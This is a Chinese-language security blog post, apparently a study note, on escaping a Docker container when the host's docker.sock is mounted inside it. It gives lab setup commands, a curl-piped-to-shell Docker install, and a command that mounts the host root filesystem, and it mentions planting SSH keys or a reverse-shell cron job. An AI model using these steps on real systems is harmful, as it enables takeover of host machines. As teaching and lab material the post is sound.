写在前面
学习比较被动,总是遇到什么学什么,上个PK项目遇到docker容器入口点比较多,慢慢打卡docker容器逃逸。
目录
0x01 逃逸原理
0x02 实验步骤
0x03 利用步骤
0x04 参考
逃逸原理(前提)
在启动`docker`容器时,如果宿主机/var/run/docker.sock文件被挂载到docker容器中,在docker容器中,也可以操作宿主机的docker指令。
find / -name docker.sock
实验步骤
创建挂载docker.sock容器
docker run -itd --name sock-test -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
进入容器检查是否存在被挂载:
find / -name docker.sock
利用步骤
进入容器安装docker环境
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
将宿主机根目录挂载到当前容器的test目录下
##命令解析 run是启动一个容器,-v是挂载文件
##这里是将"宿主机根目录/":(挂载到) "ubuntu:18.04这个容器的test文件夹"
docker run -it -v /:/test ubuntu:18.04 /bin/bash
挂载成功,后续写入SSH公钥或者反弹shell计划任务,不再赘述。
参考
https://mp.weixin.qq.com/s/xDNAxknjSY3PPPdxa_GcqQ
http://www.hackdig.com/02/hack-907134.htm&wd=&eqid=e55465b70011176b0000000364562dfc
写在最后
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。